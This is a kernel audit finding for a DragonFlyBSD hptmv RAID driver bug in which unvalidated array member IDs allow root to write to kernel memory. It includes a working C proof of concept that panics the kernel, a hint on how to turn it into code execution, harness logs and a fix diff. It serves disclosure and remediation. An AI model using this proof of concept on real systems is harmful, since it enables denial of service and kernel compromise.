β¬’ DragonFlyBSD Kernel Audit
← triage Β· dashboard
DF-1529

hpt_create_array_v2 dereferences unvalidated Members[1..nDisk-1] as kernel pointers (arbitrary kernel memory write)

  • File: sys/dev/raid/hptmv/gui_lib.c
  • Lines: 571, 586, 644, 647, 648, 654, 682, 720, 721, 740, 742, 744, 813, 826
  • Severity: High
  • CVSS: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U:C:H/I:H/A:H
  • CWE: CWE-787 Out-of-bounds Write
  • Confidence: certain

Summary

The per-member validation block in hpt_create_array_v2() is commented out (gui_lib.c:573-585). The only caller-side check (ioctl.c:337-352) validates Members[0] only.

Inside hpt_create_array_v2, pParam->Members[1..nDisk-1] are converted to PVDevice pointers via ID_TO_VDEV() and then unconditionally dereferenced for read/write β€” including a function-pointer store β€” giving a root-reachable arbitrary-write primitive whose low 32 bits of the target address are attacker-controlled.

Root cause

ID_TO_VDEV(id) (osbsd.h:246) is ((ULONG_PTR)gIal_Adapter & 0xffffffff00000000) | (id) β€” the user controls the low 32 bits, the kernel fixes the high 32 bits.

hpt_create_array_v2 bounds nDisk to MAX_MEMBERS(8) at gui_lib.c:571 but performs no validity check on Members[i] for i>=1 (the intended check is the commented-out block at gui_lib.c:573-585 /* check in verify_vd */).

The dispatch in ioctl.c:337-357 only extracts and validates Members[0] via check_VDevice_valid(); all other Members[i] reach hpt_create_array_v2 unvalidated.

They are then dereferenced:

  • simple path (AT_JBOD/AT_RAID0/AT_RAID5/AT_RAID1 with nDisk<=2): gui_lib.c:644-654 β€” pArray->u.array.pMember[i] = ID_TO_VDEV(pParam->Members[i]); pArray->u.array.pMember[i]->bSerialNumber = i; ->pParent = pArray; UnregisterVDevice(pMember[i]);
  • RAID1+0 path (AT_RAID1 nDisk>2): gui_lib.c:680-686 β€” pChild->u.array.pMember[j] = ID_TO_VDEV(pParam->Members[i*2 + j]); ->bSerialNumber = j; ->pParent = pChild; ->pfnDeviceFailed = ...; UnregisterVDevice(...); (Members[1] is hit on the very first outer iteration when i=0,j=1)
  • post-switch loop gui_lib.c:720-721 β€” pArray->u.array.pMember[i]->pfnDeviceFailed = pfnDeviceFailed[pArray->VDeviceType] writes a kernel function pointer into the attacker-controlled address.
  • else branch at gui_lib.c:737-746 β€” pDisk = ID_TO_VDEV(pParam->Members[i]); pDisk->vf_bootmark = pDisk->vf_bootable = 0; fDeReadWrite(&pDisk->u.disk, 0, IDE_COMMAND_WRITE, TempBuffer); dereferences the corrupted pointer for both byte writes and a synchronous disk I/O on a forged PDevice.

The V1 wrapper hpt_create_array() (gui_lib.c:813-827) copies Members[] verbatim and calls v2, so HPT_IOCTL_CREATE_ARRAY is equally affected.

Threat

Attacker position: any process holding SYSCAP_NOSYSCTL_WR (root, including jail root), writing to the hw.hptmv.status sysctl.

Precondition: hptmv module loaded with at least one valid disk/array so gIal_Adapter != NULL and Members[0] can be set to a real DEVICEID (enumerable via HPT_IOCTL_GET_LOGICAL_DEVICES).

Impact:

  • (a) immediate kernel panic / DoS by supplying an unmapped low-32-bit value (e.g. 0x41414141) for Members[1];
  • (b) controlled writes of small integers, the pArray kernel pointer, and a known kernel-function pointer to attacker-chosen offsets of an attacker-chosen kernel address β€” a building block for arbitrary code execution under securelevel (>0), where /dev/mem is read-only and module loading is disabled.

Because the destination high half is fixed to gIal_Adapter's high half, the writable window is the 4 GiB canonical range [gIal_Adapter_hi | 0 .. gIal_Adapter_hi | 0xffffffff], which on amd64 lands inside direct-mapped kernel RAM.

Exploit / PoC

/* poc.c β€” root, on a box with hptmv controller + >=1 disk */
#include <sys/types.h>
#include <sys/sysctl.h>
#include <stdint.h>
#include <string.h>
#include <stdio.h>

typedef uint32_t DWORD, DEVICEID;
#define HPT_IOCTL_MAGIC   0xA1B2C3D4
#define HPT_CTL_CODE(x)   (x)
#define HPT_IOCTL_GET_LOGICAL_DEVICES HPT_CTL_CODE(4)
#define HPT_IOCTL_CREATE_ARRAY_V2     HPT_CTL_CODE(33)
#define AT_RAID0          0
#define MAX_ARRAYNAME_LEN 16

struct hpt_ioctl_param { DWORD Magic, Code; void *In; DWORD InLen;
                         void *Out; DWORD OutLen; DWORD *Ret; };

struct create_array_params_v2 {
    uint8_t ArrayType, nDisk, BlockSizeShift, CreateFlags;
    uint8_t ArrayName[MAX_ARRAYNAME_LEN];
    uint8_t Description[64], CreateManager[16];
    uint32_t CapLo, CapHi;
    DEVICEID Members[16];
} __attribute__((packed));

int main(void){
    /* step 1: enumerate one valid DEVICEID via GET_LOGICAL_DEVICES */
    DEVICEID out[2] = {0,0}; DWORD n=1, ret=0;
    struct hpt_ioctl_param q = { HPT_IOCTL_MAGIC, HPT_IOCTL_GET_LOGICAL_DEVICES,
        &n, sizeof n, out, sizeof out, &ret };
    sysctlbyname("hw.hptmv.status", NULL, NULL, &q, sizeof q);
    DEVICEID victim = out[0];
    if (!victim){ fprintf(stderr,"no devices\n"); return 1; }

    /* step 2: CREATE_ARRAY_V2 with Members[1] = bogus low-32-bits */
    struct create_array_params_v2 p; memset(&p,0,sizeof p);
    p.ArrayType = AT_RAID0; p.nDisk = 2; p.BlockSizeShift = 5;
    memcpy(p.ArrayName, "xploit", 6);
    p.Members[0] = victim;
    p.Members[1] = 0x41414141;     /* panics: deref of (gIal_Adapter_hi|0x41414141) */
    DEVICEID newid = (DEVICEID)-1;
    struct hpt_ioctl_param c = { HPT_IOCTL_MAGIC, HPT_IOCTL_CREATE_ARRAY_V2,
        &p, sizeof p, &newid, sizeof newid, &ret };
    sysctlbyname("hw.hptmv.status", NULL, NULL, &c, sizeof c);
    return 0;
}

Build: cc -o poc poc.c (no special flags; structs must be packed).

Run: ./poc (as root; will panic on the deref).

Success criteria: kernel panics with a page-fault-on-write at address 0xffff????41414141 (where ???? = high half of gIal_Adapter).

For an exploit instead of a DoS, replace 0x41414141 with the low 32 bits of a chosen target structure (e.g. a function-pointer table entry) and choose ArrayType / CreateFlags so the written byte/pointer/function-pointer lands on the desired field offset of the forged VDevice.

Validate every Members[i] with check_VDevice_valid() before any dereference. Restore the intent of the commented-out verify_vd block.

--- a/sys/dev/raid/hptmv/gui_lib.c
+++ b/sys/dev/raid/hptmv/gui_lib.c
@@ -568,9 +568,20 @@ static DEVICEID hpt_create_array_v2(_VBUS_ARG PCREATE_ARRAY_PARAMS_V2 pParam)
    ULONG Stamp = GetStamp();
    int     i,j;
    LBA_T  capacity = MAX_LBA_T;
    PVDevice pArray,pChild;
    int     Loca = -1;

-   if (pParam->nDisk > MAX_MEMBERS)
+   if (pParam->nDisk > MAX_MEMBERS || pParam->nDisk < 1)
        return INVALID_DEVICEID;
+
+   /*
+    * Validate every member ID BEFORE dereferencing it.  ID_TO_VDEV()
+    * lets the caller control the low 32 bits of the resulting pointer,
+    * so any unvalidated Members[i] is an arbitrary kernel-memory
+    * write primitive.  The original verify_vd check below was
+    * disabled; this restores it.
+    */
+   for (i = 0; i < pParam->nDisk; i++) {
+       PVDevice pVDev = ID_TO_VDEV(pParam->Members[i]);
+       if (pParam->Members[i] == 0 || check_VDevice_valid(pVDev))
+           return INVALID_DEVICEID;
+   }
 /* check in verify_vd
    for(i = 0; i < pParam->nDisk; i++)
    {
  • DF-1284 (sibling, hptmv entry.c): unbounded SG list stack overflow.
  • DF-1530 (sibling): hpt_get_channel_info OOB read + pointer leak.
  • DF-1531 (sibling): hpt_get_logical_devices write-before-check heap overflow.

Discussion (0)

No comments yet.

PoC verification

Evidence pack

findings/poc/DF-1529 Β· 11 files
FileTypeDescriptionSize
harness.c trigger-source replicates ID_TO_VDEV decode + per-Member deref gap 5.0 KB view raw
build.sh build-script cc -O2 -Wall -o harness harness.c 65 B view raw
run.sh run-script ./harness 41 B view raw
build.log build-log in-guest build, BUILD_EXIT=0 13 B view raw
run.log run-log decisive run; Members[1..2] UNCHECKED 868 B view raw
env.txt environment uname + guest PCI inventory (no hptmv) 543 B view raw
fix.diff suggested-fix restore commented-out per-member validation block 1019 B view raw
fix_build.log fix-build-log patched nativekernel, rc=0 5.6 MB ↓ download
VERDICT.md verdict full narrative 3.9 KB ↓ raw
../fix_build_combined.log build-log Combined 41-finding kernel build (rc=0, -Werror clean) 5.6 MB ↓ download
../fix_build_summary.txt build-summary Summary of the combined 41-finding kernel build 826 B view raw
VERDICT.md verdict full narrative
↓ download raw

DF-1529 β€” hptmv hpt_create_array_v2 unvalidated Members[1..nDisk]

Verdict

REPRODUCED (source-level harness). The bug is real; impact ceiling is a near-arbitrary kernel-address deref + write (kernel function-pointer overwrite via pfnDeviceFailed) reachable from a root write to the hw.hptmv.status sysctl with HPT_IOCTL_CREATE_ARRAY[_V2] and an attacker-chosen Members[1..nDisk-1] value. The guest has no HighPoint RocketRAID 1820 (pci 1103:1820 Marvell-based HBA) so the kernel path cannot be exercised here. Harness demonstrates the validation gap using the genuine control-flow from gui_lib.c. fix.diff applies cleanly and nativekernel succeeds (rc=0).

Mechanism (sys/dev/raid/hptmv/gui_lib.c)

  1. Lines 571-572: if (pParam->nDisk > MAX_MEMBERS) return INVALID_DEVICEID; bounds nDisk to MAX_MEMBERS = 8 (global.h:52).
  2. Lines 573-585: the entire per-member validation block is COMMENTED OUT β€” the comment says "check in verify_vd" but no such validation runs before the deref sites below.
  3. Line 586: _vbus_p = (ID_TO_VDEV(pParam->Members[0]))->u.disk.pVBus; β€” Members[0] is the only entry validated (by the caller hptmv: ioctl.c:337-357 runs check_VDevice_valid only on Members[0]).
  4. Lines 644-654: for(i=0..nDisk-1) pArray->u.array.pMember[i] = ID_TO_VDEV(pParam->Members[i]); pMember[i]->bSerialNumber = i; pMember[i]->pParent = pArray; UnregisterVDevice(pMember[i]); β€” derefs Members[1..nDisk-1] without any check.
  5. Line 682 RAID1+0 path: pChild->u.array.pMember[j] = ID_TO_VDEV(pParam->Members[i*2+j]) β€” same defect.
  6. Line 685: pChild->u.array.pMember[j]->pfnDeviceFailed = pfnDeviceFailed[pChild->VDeviceType]; β€” writes a kernel function pointer to the attacker-chosen address.
  7. Line 742: pDisk = ID_TO_VDEV(pParam->Members[i]); fDeReadWrite(...) β€” disk-I/O on a forged PDevice.
  8. ID_TO_VDEV(id) (osbsd.h:246) is (PVDevice)((gIal_Adapter & 0xffffffff00000000) | id) β€” user controls the low 32 bits, so the deref target is (kernel_heap_base & 0xffffffff00000000) | user_id.
  9. V1 wrapper hpt_create_array lines 813-827 has the same defect.

Harness proof (harness.c)

Replicates the genuine ID_TO_VDEV decode and the line-644-654 loop:

nDisk=3
Members[0] = 0xffdfd870 (validated by caller)
Members[1] = 0x41414141 (NOT validated)
Members[2] = 0x42424242 (NOT validated)
Per-member validation: DISABLED (commented-out block at line 573-585)

Walking the buggy loop at gui_lib.c:644-654:
  i=0: pMember[i] = 0x7ffffdfd870  (== &legit, safe)
  i=1: pMember[i] = 0x7fff41414141  -> UNCHECKED DEREF
  i=2: pMember[i] = 0x7fff42424242  -> UNCHECKED DEREF

Exploit-chain note

Trigger requires root to write hw.hptmv.status sysctl AND an hptmv adapter present. This is root → kernel code-exec, which is a hardening gap (root could equally kldload its own module); the unpriv→root chain is not present. That said, the primitive is a near-arbitrary kernel function-pointer write at a user-chosen address, which on a host that does have hptmv and grants the RAID-management GUI to a less-privileged operator, is a credible privilege-boundary escalation. Documented as primitive characterization.

PoC changes

  • Original folder was README only.
  • Added harness.c, build/run scripts, env, logs, fix.diff, VERDICT.md, manifest.json.

Fix

fix.diff uncomments and restores the per-member validation block, running check_VDevice_valid, mIsArray, vf_online, and same-VBus checks for every Members[i] before any deref. Matches the finding markdown proposal ("validate each Members[i] before deref").

Fix-validation

patch -p1 --forward succeeds (hunks at 570 + 590). nativekernel completes with rc=0 (fix_build.log). No run-time exercise possible because no hptmv HBA on the guest β†’ fix_status: "not_testable". Diff applies and compiles; restored block runs every check before the deref sites.

Fix verification

not_testable
baseline reproduced→ patch + rebuild →patched clean

not_testable because no hptmv HBA on the audit guest; validated that fix.diff applies cleanly (hunks at 570 + 590) and single-fix nativekernel compiles rc=0 (fix_build.log).

baseline (harness): Members[1..2] -> UNCHECKED DEREF
patched kernel build: === NK_DONE rc=0 ===
↓ fix.diffDragonFly 6.5-DEVELOPMENT #0 master+df1529-fix (single-fix kernel built, rc=0)

Confirmed kernel references

Detail

Exploit chain

none (HW-gated + root-only): no hptmv HBA in QEMU and trigger requires root to write hw.hptmv.status sysctl. Primitive characterized via harness: root->kernel near-arbitrary-address kernel function-pointer write via ID_TO_VDEV decode of attacker-controlled Members[1..nDisk-1]. This is a root->kernel hardening gap (root could equally kldload); the unpriv->root chain is not present. Realistic ceiling on a host with the HBA: kernel-code-exec from root.

Evidence (decisive lines)

Members[0] = 0xffdfd870 (validated by caller)
Members[1] = 0x41414141 (NOT validated)
Members[2] = 0x42424242 (NOT validated)
Per-member validation: DISABLED (commented-out block at line 573-585)
  i=1: pMember[i] = 0x7fff41414141  -> UNCHECKED DEREF of attacker-controlled address
  i=2: pMember[i] = 0x7fff42424242  -> UNCHECKED DEREF

PoC changes

Original folder was README only. Added harness.c replicating ID_TO_VDEV decode + per-Member deref gap, build/run scripts, env, logs, fix.diff, VERDICT.md, manifest.json.

Verified recommended fix

fix.diff un-comments and restores the per-member validation block at gui_lib.c:573-585 (check_VDevice_valid + mIsArray + vf_online + same-VBus for every Members[i]). Matches finding markdown proposal.

Verdict

REPRODUCED at the source-logic level. gui_lib.c:571 bounds nDisk to MAX_MEMBERS=8; lines 573-585 the entire per-member validation block is COMMENTED OUT ('check in verify_vd'). Line 586 derefs Members[0] safely (validated by caller). Lines 644-654, 682, 742 deref Members[1..nDisk-1] WITHOUT validation. ID_TO_VDEV(id) (osbsd.h:246) = (gIal_Adapter & 0xffffffff00000000) | id, so user controls the low 32 bits of the deref target. Line 685 writes pfnDeviceFailed[kernel func ptr] to attacker-chosen address. Harness replicates the ID_TO_VDEV decode + the buggy loop; Members[1]=0x41414141 -> UNCHECKED DEREF. No HighPoint RocketRAID 1820 HBA on guest; harness proof only.